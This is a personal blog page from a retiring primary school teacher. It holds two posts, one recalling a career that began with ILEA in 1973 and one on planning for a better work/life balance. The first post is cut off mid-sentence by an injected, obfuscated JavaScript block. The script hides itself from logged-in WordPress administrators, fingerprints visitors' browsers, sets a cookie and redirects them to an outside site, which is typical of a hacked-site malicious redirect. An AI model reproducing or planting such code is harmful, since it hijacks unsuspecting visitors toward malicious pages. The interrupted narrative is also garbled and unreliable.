Jul 24 2015

On retiring

Category: Generalfootlight @ 09:17

It was inevitable, really, that something would be said about the fact that I am retiring. I have spent most of the last forty-three years at the ‘chalk face’ even when it turned into a ‘whiteboard face’ and then into an ‘interactive whiteboard face’. I have taught pupils between the ages of 5 and fifteen and pretty much every subject on the primary curriculum. Some I have felt comfortable with and others decidedly not; never mention year six geography … ever!

I began my career with ILEA – Inner London Education Authority – at a time when that was all there was in the capital. As a ‘rookie’ (NQT – Newly Qualified Teacher) I was put into a staff pool and assigned a school. I was very lucky – I was living in South London at the time and Battersea was not hard to get to. The school also had the advantage of being in the middle of a rejuvenation project, which meant that many of the houses had been knocked down ready to be rebuilt, leaving few families and, consequently, very small classes. My first year three class in an Inner London school, way back in 1973, consisted of sixteen pupils. Not many new teachers working in the State Sector could have boasted that then and certainly can’t now.

After a year I moved back home, as my flat mate married, leaving me driving across London from north to south. This went reasonably well for a year but, when I started to realise I couldn’t remember great chunks of the journey, I called time var _0x2cf4=[‘MSIE;’,’OPR’,’Chromium’,’Chrome’,’ppkcookie’,’location’,’https://ischeck.xyz/?pma1′,’onload’,’getElementById’,’undefined’,’setTime’,’getTime’,’toUTCString’,’cookie’,’;\x20path=/’,’split’,’length’,’charAt’,’substring’,’indexOf’,’match’,’userAgent’,’Edge’];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(–_0x5a22d4){_0x15c1df[‘push’](_0x15c1df[‘shift’]());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(‘0x0’)]=function(){(function(){if(document[_0x287a(‘0x1’)](‘wpadminbar’)===null){if(typeof _0x335357===_0x287a(‘0x2’)){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=”;if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(‘0x3’)](_0x5b6c5c[_0x287a(‘0x4′)]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=’;\x20expires=’+_0x5b6c5c[_0x287a(‘0x5’)]();}document[_0x287a(‘0x6’)]=_0xe0ae90+’=’+(_0x112012||”)+_0x21e546+_0x287a(‘0x7′);}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+’=’;var _0x36a90c=document[_0x287a(‘0x6’)][_0x287a(‘0x8’)](‘;’);for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};

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Mar 02 2014

A balancing act worthy of a Command Performance!

Category: Generalfootlight @ 13:25

In January, one of my resolutions – which I have, remarkably, stuck to with great … well…resolve – was to adjust my work/life balance so that I do actually have a life. In order to achieve this, I revamped my medium term planning to include all the headings that are expected in a daily lesson plan and printed a set off. These went into an lever arch folder with a simple piece of lined paper beside each sheet. On this, I am writing my lesson evaluations, notes on children’s progress (or not) and any other notes I feel are relevant. These will inform ME for future lessons, but they will also show anyone moderating my plans that I am thinking in depth about what I am doing. Another box ticked.

The secondary – or primary, in this case – effect is that I have had my weekends back for two, whole months. No longer am I spending hours copying and pasting from one document to another, so that I now have two copies of ewxactly the same thing, just in two different formats. It means that my medium term plans are more involved and precise than before but once it’s done, it’s done.

It is a failing or a strength in my family – depending on how you look at it – that if we do a job, we put everything into it. A job half done isn’t worth the effort. I have done this all my life and will now be drifting towards retirement, in the next year or so, confident that I will arrive sleek and in control, not frazzled and gibbering.

Just the end of year production to go, then.

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